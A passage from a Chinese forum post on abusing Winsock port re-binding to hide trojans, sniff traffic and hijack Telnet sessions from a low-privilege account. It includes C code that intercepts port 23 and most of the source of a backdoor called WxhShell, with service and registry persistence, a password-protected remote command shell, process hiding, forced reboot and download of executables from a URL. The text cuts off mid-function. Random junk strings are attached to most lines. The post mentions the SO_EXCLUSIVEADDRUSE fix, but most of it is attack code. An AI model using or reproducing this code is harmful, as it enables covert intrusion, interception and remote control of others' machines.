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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L!kbDbqn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j~Ubpf  
}L|XZL_Jo#  
  saddr.sin_family = AF_INET; c(0Ez@  
7(KVA1P66  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )9>E} SU/  
+)TOcxF%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1(WNrVm;  
!:Clzlg   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pJ]i)$M  
[7SR2^uf<j  
  这意味着什么?意味着可以进行如下的攻击: b `.h+=3  
)NS& 1$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XxE>KeP  
STgYXA(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X7& ^"|:  
D[}qhDlX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Oe}6jcb6&  
v"G)G)*z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n+uDg  
*Ldno`1O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~gvw6e*[  
|\ 4cQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;]Bkw6 o  
;?0r,0l2$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F^|4nBd*ub  
j #)K/`  
  #include 5A=FEg  
  #include . 'rC'FT  
  #include \Lu] %}  
  #include    lGtTZ cg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ro|%pT  
  int main() IF$*6 ,v.z  
  { ON<X1eU  
  WORD wVersionRequested; F[ 5\ x0  
  DWORD ret; gT~Yn~~b  
  WSADATA wsaData; ;nB.f.e`  
  BOOL val; 1Qz1 Ehz>  
  SOCKADDR_IN saddr; CERT`W%o  
  SOCKADDR_IN scaddr; ;v^1V+1:z  
  int err; J  4OgV?  
  SOCKET s; ,a /<t"  
  SOCKET sc; oaJnLd90W  
  int caddsize; 4w5mn6MxR  
  HANDLE mt; u$?t |Ll  
  DWORD tid;   i'bUX=JK  
  wVersionRequested = MAKEWORD( 2, 2 ); |SF5'\d'  
  err = WSAStartup( wVersionRequested, &wsaData ); 2{o eJ  
  if ( err != 0 ) { 0*Is#73rjY  
  printf("error!WSAStartup failed!\n"); jVtRn.qh  
  return -1; "~&d= f0m  
  } {)d{:&*K.  
  saddr.sin_family = AF_INET; k3wAbGp  
   v}AVIdR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >?Ps5n]b  
L4L[@tMPmY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tX#8 G09G+  
  saddr.sin_port = htons(23); .[KXO0Ui6u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {g(-C&  
  { c={bunnz#  
  printf("error!socket failed!\n"); x:O;Z~ |.  
  return -1; 7xmif YC  
  } #c:b8rw  
  val = TRUE; ZBAtRs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3bW(VvgcL4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x#{.mN  
  { R2[-Q"|Ra  
  printf("error!setsockopt failed!\n"); Ev7fvz =  
  return -1; .j)f'<;%  
  } b:w {7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZNEWUt{+;^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~Z#jIG<?g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g/ict 2!  
9cm9;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D8''q%  
  { M@/Hd0$  
  ret=GetLastError(); KLn.vA.  
  printf("error!bind failed!\n"); ;{k`nv_6  
  return -1; 8XU m.nV  
  } N=oWIK<;-  
  listen(s,2); `:I<Jp  
  while(1) (yx9ox@rL  
  { |NZVm}T  
  caddsize = sizeof(scaddr); XeT{y]lkd  
  //接受连接请求 &m>sGCZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?$#,h30  
  if(sc!=INVALID_SOCKET) (7qdrAeP  
  { ?{ 0MF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {yPiBu  
  if(mt==NULL) /=bg(?nX  
  { CI )89`  
  printf("Thread Creat Failed!\n"); xC,;IS k,  
  break; d;$<K  
  } <+oTYPgD9  
  } 9a*}&fL[  
  CloseHandle(mt); 2-<i#nA3  
  } J~jR`2+r  
  closesocket(s); %fyah}=  
  WSACleanup(); /bd1Bi  
  return 0; >;A7mi/  
  }   u#l@:p  
  DWORD WINAPI ClientThread(LPVOID lpParam) ][y~(&=T  
  { ;x=k J@  
  SOCKET ss = (SOCKET)lpParam; TvzqJ=  
  SOCKET sc; 1eZ759PoO  
  unsigned char buf[4096]; ;m+*R/  
  SOCKADDR_IN saddr; Oa'DVfw2J  
  long num; ,L"1Ah  
  DWORD val; h!L/ZeRaV  
  DWORD ret; w<ol$2&B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 / ao|v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !Deg!f\g  
  saddr.sin_family = AF_INET; }op0`-Xb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }? W[D  
  saddr.sin_port = htons(23); 8a^E{x@HT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Cp6$V|/kv  
  { $dp;$X3  
  printf("error!socket failed!\n"); .ZB(!v/2  
  return -1; \NEXtr`Th  
  } xSQ:#o=8G  
  val = 100; &pCNOHi|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ue5C ]  
  { )r)3.|wJm  
  ret = GetLastError(); avb'J^}f  
  return -1; BP6|^Q  
  } [LQD]#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g.3a5#t  
  { vt`V<3  
  ret = GetLastError(); cF[L6{Oe  
  return -1; FC:+[.fi  
  } R*l#[D5A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  IwfJDJJ  
  { 8<Y*@1*j  
  printf("error!socket connect failed!\n"); W?n)IBj8  
  closesocket(sc); .@  3  
  closesocket(ss); z)RJUmY3B  
  return -1; JFyw,p&xB  
  } {*Ag[HS0u  
  while(1) Gd:TM]rJ  
  { H+oQ L(i|_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t4RI%m\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &.zG?e.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 't+ J7  
  num = recv(ss,buf,4096,0); g/o@,_  
  if(num>0) `FjU2 O  
  send(sc,buf,num,0); J 8z|ua  
  else if(num==0) < ] ~FX 25  
  break; [f^:V:) {  
  num = recv(sc,buf,4096,0); F?!X<N{  
  if(num>0) 4Odf6v,*@  
  send(ss,buf,num,0); DNyU]+\L[l  
  else if(num==0) &gr)U3w  
  break; "!AbH<M;@  
  } OgOs9=cE{  
  closesocket(ss); i?+>,r@\p  
  closesocket(sc); O-N@HZC  
  return 0 ; 7`G FtX}  
  } A7hWAq  
vJ a?5Jr  
}#Q?\  
========================================================== ImG7E w  
z~f;5xtI  
下边附上一个代码,,WXhSHELL 9R1S20O  
mC,:.d  
========================================================== Lc?q0x^s  
+vSp+X1E  
#include "stdafx.h" DOa%|H'P  
dBG5IOD  
#include <stdio.h> }Y=X{3+~.  
#include <string.h> qJyGr ?  
#include <windows.h> H7}@56  
#include <winsock2.h> AnD#k ]  
#include <winsvc.h> m+LP5S  
#include <urlmon.h> .271at#-  
OV+|j  
#pragma comment (lib, "Ws2_32.lib") xfFsW^w  
#pragma comment (lib, "urlmon.lib") +W}dO#  
gc"A Tc  
#define MAX_USER   100 // 最大客户端连接数 a?NoNv)&  
#define BUF_SOCK   200 // sock buffer r1R\cor  
#define KEY_BUFF   255 // 输入 buffer !hc#il'g].  
-NL=^O$G  
#define REBOOT     0   // 重启 'X(Sn3  
#define SHUTDOWN   1   // 关机 v*3tqT(%  
6qYK"^+xu  
#define DEF_PORT   5000 // 监听端口 } >z l  
BHrNDpv  
#define REG_LEN     16   // 注册表键长度 -q")qNt.  
#define SVC_LEN     80   // NT服务名长度 4Mr)~f rc  
Y3M"a8e'  
// 从dll定义API :3 p&h[M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C?-_8OA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FrL ;1zt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0WO-+eRB/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NB)$l2<d  
0J5IO|1M  
// wxhshell配置信息 ps&p|  
struct WSCFG { d:GAa   
  int ws_port;         // 监听端口 f`Wces=5  
  char ws_passstr[REG_LEN]; // 口令 i0py5Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no J=7<dEm&  
  char ws_regname[REG_LEN]; // 注册表键名 (+w.?l  
  char ws_svcname[REG_LEN]; // 服务名 E7AYK&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XMi)PXs$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yTpvKCC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _a&Mk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3uJ>:,~r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F0 ^kUyF|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?<h|Q~JH  
N3SB-E+  
}; o)SA^5  
H;kk:s'  
// default Wxhshell configuration Ou,Eu05jt'  
struct WSCFG wscfg={DEF_PORT, fF.qQTy;7  
    "xuhuanlingzhe", 0OF]|hH  
    1, ;UoXj+Z  
    "Wxhshell", Y>a2w zr  
    "Wxhshell", z3|)WS^  
            "WxhShell Service", h6uv7n~4  
    "Wrsky Windows CmdShell Service", u .R   
    "Please Input Your Password: ", <h[l)-86  
  1, vm4q1!!(  
  "http://www.wrsky.com/wxhshell.exe", fNNik7  
  "Wxhshell.exe" 4M3{P  
    }; !PuW6  
le.(KgRS4  
// 消息定义模块 g4=6\vg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DY'1#$;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q@8j[15  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s\dhQZw3  
char *msg_ws_ext="\n\rExit.";  EWn\ ]f|  
char *msg_ws_end="\n\rQuit."; xGVL|/?8  
char *msg_ws_boot="\n\rReboot..."; ]CZ&JL  
char *msg_ws_poff="\n\rShutdown..."; .BqS E   
char *msg_ws_down="\n\rSave to "; XJ9bY\>)q1  
8"2X 8C8  
char *msg_ws_err="\n\rErr!"; (U#9  
char *msg_ws_ok="\n\rOK!"; mIUpAOC`"Z  
xfqW~&  
char ExeFile[MAX_PATH]; m(c5g[6nO  
int nUser = 0; B}A7Usm  
HANDLE handles[MAX_USER]; &f$[>yg1-  
int OsIsNt; "J(7fL$!  
1> wt  
SERVICE_STATUS       serviceStatus; 4RU/y+[o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H;nq4;^yK  
Ls~F4ar$/  
// 函数声明 <+2M,fq+  
int Install(void); J;S@Q/s  
int Uninstall(void); _O*"_^6  
int DownloadFile(char *sURL, SOCKET wsh); c7$U0JO  
int Boot(int flag);  {@gTs  
void HideProc(void); |Y42ZOK0  
int GetOsVer(void); ;}=[( eqA  
int Wxhshell(SOCKET wsl); l<l6Ey(  
void TalkWithClient(void *cs); '5vgpmn  
int CmdShell(SOCKET sock); USrg,A  
int StartFromService(void); }\oy?_8~  
int StartWxhshell(LPSTR lpCmdLine); BHW8zY=F  
.5PcprE/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L>qLl_.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (!0=~x|Z[  
HBc^[fJ^-  
// 数据结构和表定义 $A/$M\ :  
SERVICE_TABLE_ENTRY DispatchTable[] = X(;,-7Jw  
{ '[h|f  
{wscfg.ws_svcname, NTServiceMain}, :"aCl~cy9g  
{NULL, NULL} (|PxR#{l<  
}; J}-,!3qxW  
}FTyRHD|  
// 自我安装 3Hli^9&OX_  
int Install(void) [foZO&+!  
{ }"'^.FG^_  
  char svExeFile[MAX_PATH]; 9 OC!\' 8  
  HKEY key; M)U 32gI:  
  strcpy(svExeFile,ExeFile); 4ZK8Y[]Lv  
xM/B"SG2  
// 如果是win9x系统,修改注册表设为自启动 h>6'M  
if(!OsIsNt) { Xh,{/5m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hK+Iow-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <[H1S@{W  
  RegCloseKey(key); }D7q)_g=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I]]3=?Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WJ9=hr  
  RegCloseKey(key); 62&(+'$n  
  return 0; R^.oM1qu|  
    } Fvy__ qcHi  
  } Q`qHzb~%  
} 5_ @8g+~  
else { _U.D*f<3)  
l)glT]G3+  
// 如果是NT以上系统,安装为系统服务 ?Mg&e/^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @LS*WJ< w-  
if (schSCManager!=0) =8r%zLDw  
{ @N,EoSb :  
  SC_HANDLE schService = CreateService gc 14%  
  ( ?*~W  
  schSCManager, %&+j(?9  
  wscfg.ws_svcname, x.CNDG  
  wscfg.ws_svcdisp, 1Z?en  
  SERVICE_ALL_ACCESS, %pNK ?M+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4|uh&4"*@W  
  SERVICE_AUTO_START, _-&\~w  
  SERVICE_ERROR_NORMAL, yVvO!  
  svExeFile, fQ5V RpWGn  
  NULL, Vf#X[$pc/  
  NULL, nk,X6o9%  
  NULL, ErK5iTSD  
  NULL, 8,pnm  
  NULL aU,Zjm7fp  
  ); $9DV }  
  if (schService!=0) 1D03Nbh|5  
  { |*W`}i  
  CloseServiceHandle(schService); 0b9;v lGq$  
  CloseServiceHandle(schSCManager); b-8{bP]n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0Zp) DM  
  strcat(svExeFile,wscfg.ws_svcname); |*5Kfxq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {OP[Rrm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B] dvX  
  RegCloseKey(key); m$ZPQ0X  
  return 0; R _WP r[P  
    } cXiNO ke&  
  } 5t`< KRz)I  
  CloseServiceHandle(schSCManager); v /{LC4BF  
}  ")MjR1p  
} A*jU&3#  
!%{/eQFT4  
return 1; 095:"GvO  
} p]/HZS.-b  
JsohhkJNGi  
// 自我卸载 0b%"=J2/p.  
int Uninstall(void) j+He8w-4  
{ F+mn d,3  
  HKEY key; \ s^a4l 2  
n,hl6[OL7  
if(!OsIsNt) { yOwo(+ 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h+)XLs  
  RegDeleteValue(key,wscfg.ws_regname); o2  
  RegCloseKey(key); H`#{zt);  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jC3ta  
  RegDeleteValue(key,wscfg.ws_regname); e&WlJ  
  RegCloseKey(key); m20:{fld  
  return 0; F?#^wm5TZ  
  } .{[+d3+,  
} EXDZehLD<]  
} t*H r(|.  
else { mw2/jA7  
[=k$Q (.3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {cmY`to  
if (schSCManager!=0) ;}v#hKC~  
{ {~J'J$hn8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dv~W!T i  
  if (schService!=0) G?`{OW3:_  
  { \)KLm  
  if(DeleteService(schService)!=0) { 4&b*|"Iw  
  CloseServiceHandle(schService); !C13E lf  
  CloseServiceHandle(schSCManager); E,u/^V9x  
  return 0; &QHZ]2%U  
  } $*N^ bj  
  CloseServiceHandle(schService); \ZN>7?Vs  
  } .V~z6  
  CloseServiceHandle(schSCManager); uG-t)pej  
} HRQ3v`P.  
} u!4i+7}  
/e|vz^#+1,  
return 1; [;6,lI}  
} EWz,K] _'  
\ @XvEx%  
// 从指定url下载文件 'M20v-[  
int DownloadFile(char *sURL, SOCKET wsh) h 8Shf"  
{ `Hlv*" w$  
  HRESULT hr; KZeaM  
char seps[]= "/"; CuT~ Bj  
char *token; N{b ;kiZq  
char *file; olA 1,8  
char myURL[MAX_PATH]; LDX>S*cL  
char myFILE[MAX_PATH]; fHFy5j0H  
Dx1f< A1  
strcpy(myURL,sURL); {>EM=ZZfg  
  token=strtok(myURL,seps); q>X30g  
  while(token!=NULL) ]2zzY::Sd=  
  { X(r$OZ  
    file=token; tJ 3Hg8;  
  token=strtok(NULL,seps); yj<j>JtN  
  } S/?!ESW6  
9nGS"E l{  
GetCurrentDirectory(MAX_PATH,myFILE); i!yu%>:M  
strcat(myFILE, "\\"); D MzDV_  
strcat(myFILE, file); $M:Ru@Du2  
  send(wsh,myFILE,strlen(myFILE),0); N6R0$Br  
send(wsh,"...",3,0); au+6ookT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r &.gOC  
  if(hr==S_OK) qI= j>x  
return 0; +uqP:z  
else rl__3q  
return 1; ,$oz1,Q/  
v)c[-:"z  
} c.?+rcnq  
}LA7ku  
// 系统电源模块 Lb=4\ _  
int Boot(int flag) &YpWfY&V  
{ %^qf0d*  
  HANDLE hToken; }f;cA  
  TOKEN_PRIVILEGES tkp; M[:},?ah0  
eVvDis  
  if(OsIsNt) { FfSKE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O!3`^_.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {Gi:W/jJ  
    tkp.PrivilegeCount = 1; mo*ClU7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K0 6 E:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A< *G;  
if(flag==REBOOT) { ~IQ2;A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oMV^W^<  
  return 0; XEpwk,8*g  
} y9::m]s  
else { kN8?.V%Utw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N*{>8iFo4  
  return 0; j"Y5j B`  
} ;n2b$MB?nM  
  } L9bIdiB7  
  else { &{=`g+4n  
if(flag==REBOOT) { .!2Ac  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m2r %m y  
  return 0; *nYb9.T]i  
} OE8H |?%  
else { o4d[LV4DS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EVE<LF?  
  return 0; Yv7`5b{N.  
} lBcRt)_O7  
} {S=gXIh(y  
Jz Z9ua  
return 1; QU%'z/dip  
} d*(wU>J '  
r\f|r$i  
// win9x进程隐藏模块 ypA)G/;  
void HideProc(void) uom~, k$|  
{ R`F8J}X_  
7J$5dFV2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S&w(H'4N  
  if ( hKernel != NULL ) QnPgp(d <  
  { q1O}dSPwX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nbM7 >tnsk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3NA G}S  
    FreeLibrary(hKernel); v*.#LJEm  
  } OcLFVD=  
4t;m^Iv  
return; kn1+lF@  
} KJLK]lf}d  
!&=%#i  
// 获取操作系统版本 zMI0W&P M  
int GetOsVer(void) ok+-#~VTn  
{ \ mt> R[  
  OSVERSIONINFO winfo; 7h3JH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %=O$@.%Zc  
  GetVersionEx(&winfo); /^>yDG T,0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /|. |y S9  
  return 1; 7L=V{,,v  
  else }:5>1FfX=  
  return 0; 8;r7ksE~  
} D;l)&"|r?  
v8L&F9 o  
// 客户端句柄模块 M+N7JpR  
int Wxhshell(SOCKET wsl) w'b|*_Q4Q  
{ Mi5"XQ>/  
  SOCKET wsh; &3;yho8v@  
  struct sockaddr_in client; s3LR6Z7;i  
  DWORD myID; vs )1Rm  
;%R+]&J  
  while(nUser<MAX_USER) t,8p}2,$  
{ qt#a_F*rV  
  int nSize=sizeof(client); 3C8W]yw/s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W2a9P_  
  if(wsh==INVALID_SOCKET) return 1; x_3Zd  
Je6=N3)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vKX $Nf  
if(handles[nUser]==0) %joIe w]V3  
  closesocket(wsh); 9N[vNg<n  
else Va1 eG]jQ  
  nUser++; t7%!~s=,M  
  } ]bq<vI%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q.Kr;64G  
R":nG7o  
  return 0; E!4Qc+.   
} &!3=eVg  
;NrkX?Y  
// 关闭 socket O/IW.t  
void CloseIt(SOCKET wsh) *XmOWV2Y_  
{ :zC'jceO  
closesocket(wsh); 6t5)rlT  
nUser--; 2&W(@wT$  
ExitThread(0); Musz+<]  
} 6dh@DG*k  
n ?%3=~9  
// 客户端请求句柄 &/J[PdSb$  
void TalkWithClient(void *cs) E\r5!45r  
{ eB:obz  
N1UE u,j  
  SOCKET wsh=(SOCKET)cs; 5hE8b  {V  
  char pwd[SVC_LEN]; <G59>H5  
  char cmd[KEY_BUFF]; q4$R?q:^  
char chr[1]; FeS6>/  
int i,j; >qn@E?Uf  
P Z-|W  
  while (nUser < MAX_USER) { `5`Pv'`  
=VlO53Hy{  
if(wscfg.ws_passstr) { @T1/S&F=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |,]#vcJP#b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kbc-$ oneR  
  //ZeroMemory(pwd,KEY_BUFF); >]=1~ sF  
      i=0; o(~>a  
  while(i<SVC_LEN) { xZS  
yov:JnWo  
  // 设置超时 {"e/3  
  fd_set FdRead; sm}v0V.Js  
  struct timeval TimeOut; 1+o>#8D  
  FD_ZERO(&FdRead);  'TV^0D"  
  FD_SET(wsh,&FdRead); O#7fkL  
  TimeOut.tv_sec=8; r{kV*^\E  
  TimeOut.tv_usec=0; VVJhQbP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /'G'GQrr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2s EdN$O  
bE^Z;q19  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ydmz!CEu  
  pwd=chr[0]; 9L?EhDcDV  
  if(chr[0]==0xd || chr[0]==0xa) { /w!b2KwV  
  pwd=0; ]xf{.z  
  break; g i:;{  
  } `S<uh9/  
  i++; .F)b9d[?  
    } " %|CD"@  
+F 6KGK[  
  // 如果是非法用户,关闭 socket >S{1=N@Ev=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HqOSQ<-Fo  
} xVKx#X9yk  
nAd 4g|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iml*+t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~1UU3k5  
F f& VBm  
while(1) { e7/J:n$  
GG;M/}E9  
  ZeroMemory(cmd,KEY_BUFF); .6$ST Ksr  
u|8`=  
      // 自动支持客户端 telnet标准   pa+^5N  
  j=0; h+.^8fPR   
  while(j<KEY_BUFF) { /R k5n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Luv$6  
  cmd[j]=chr[0]; :":W(O  
  if(chr[0]==0xa || chr[0]==0xd) { OU9=O>  
  cmd[j]=0; s&y  
  break; 4_t aCK  
  } Z/;rM8[{&  
  j++; wC=IN   
    } K N0S$nW+  
-mX _I{BJ  
  // 下载文件 )l30~5u<J  
  if(strstr(cmd,"http://")) { f*5=,$0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uVu`TgbZ  
  if(DownloadFile(cmd,wsh)) )KBv[|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FNmIXpAn*@  
  else <`| }bt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~,,xsy,G&  
  } o?p) V^7  
  else { a%(1#2^`q!  
`p#A2Ap A  
    switch(cmd[0]) { *TE6p  
  `?=AgGg  
  // 帮助 qg.[M*  
  case '?': { 2E2J=Do  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6tG9PG98q9  
    break; 8CA4gnh  
  } pb E`Eq  
  // 安装 S*#y7YKI  
  case 'i': { 30<dEoF  
    if(Install()) "-<u.$fE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r>WVPS|  
    else b;m6m4i'f{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mvUYp,JECl  
    break; R"O9~s6N  
    } 1P2%n[y  
  // 卸载 Q `E{Oo,  
  case 'r': { %Si3t2W/  
    if(Uninstall()) zG& N5t96X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KM0#M'dXy  
    else HNU[W8mg8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c}v:X Slh7  
    break; S8"X7\d{  
    } b55|JWfC`  
  // 显示 wxhshell 所在路径 6Mk@,\1  
  case 'p': { R>gj"nB  
    char svExeFile[MAX_PATH]; y-sQ"HPN  
    strcpy(svExeFile,"\n\r"); yuI5# VUS  
      strcat(svExeFile,ExeFile); E/s3@-/  
        send(wsh,svExeFile,strlen(svExeFile),0); &nz1[,  
    break; f+I*aBQ  
    } te:"1:e  
  // 重启 Tm3$|+}$f  
  case 'b': { m"x~Fjvd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %],.?TS2V  
    if(Boot(REBOOT)) 'R=o,=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &I!2gf  
    else { :hJhEQH(9  
    closesocket(wsh); ]E=JUYf0  
    ExitThread(0); ?;{A@icr  
    } 4F:RLj9P!  
    break; L</"m[  
    } gXw\_ue<  
  // 关机 }#E4t3  
  case 'd': { &S|laq H  
